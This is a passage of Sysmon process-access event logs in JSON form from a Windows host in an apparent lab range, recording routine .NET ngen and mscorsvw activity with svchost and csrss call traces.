12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7309,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00109BEE0C00}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00109BEE0C00}","TargetProcessId":"4364","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7310,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.729\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B1-5F2D-0000-0010473D0C00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.729","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B1-5F2D-0000-0010473D0C00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7311,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.729\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B1-5F2D-0000-0010473D0C00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.729","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B1-5F2D-0000-0010473D0C00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7312,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B1-5F2D-0000-0010473D0C00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B1-5F2D-0000-0010473D0C00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7313,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.776\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010199D0C00}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.776","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010199D0C00}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7314,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.776\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010199D0C00}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.776","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010199D0C00}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7315,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-0010D9F50C00}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-0010D9F50C00}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7316,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.886\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-00104CA40B00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 